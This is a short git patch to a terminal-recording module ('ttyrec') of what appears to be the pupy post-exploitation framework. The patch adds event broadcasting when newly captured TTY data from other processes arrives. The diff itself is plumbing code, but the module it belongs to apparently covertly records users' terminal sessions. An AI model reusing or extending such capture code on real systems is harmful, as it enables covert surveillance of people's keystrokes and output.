From 00c2971d48865d47b6fc72098f7422817fb7bbf4 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 25 Jun 2019 16:34:40 +0300 Subject: [PATCH] ttyrec: fix events --- pupy/packages/linux/all/ttyrec.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/pupy/packages/linux/all/ttyrec.py b/pupy/packages/linux/all/ttyrec.py index 25eddd3f..12ca3154 100644 --- a/pupy/packages/linux/all/ttyrec.py +++ b/pupy/packages/linux/all/ttyrec.py @@ -224,14 +224,15 @@ class TTYMon(object): class TTYRec(Task): - __slots__ = ('_ttymon', '_results_lock', '_state') + __slots__ = ('_ttymon', '_results_lock', '_state', '_event_id') - def __init__(self, manager): + def __init__(self, manager, event_id=None): super(TTYRec, self).__init__(manager) self._ttymon = TTYMon(ignore=[os.getpid(), os.getppid()]) self._results_lock = Lock() self._buffer = Buffer() self._compressor = zlib.compressobj(9) + self._event_id = event_id def task(self): for comm, pid, probe, sec, usec, buf in self._ttymon: @@ -242,8 +243,20 @@ class TTYRec(Task): comm[:16], probe, pid, sec, usec, len(buf)) + buf) self._buffer.append(packet) + + fire_event = False + + if not self._dirty: + fire_event = True + self._dirty = True + try: + if fire_event and self._event_id is not None: + self.broadcast_event(self._event_id) + except: + print_exception('T/BE:{}'.format(self.name)) + @property def results(self): result = None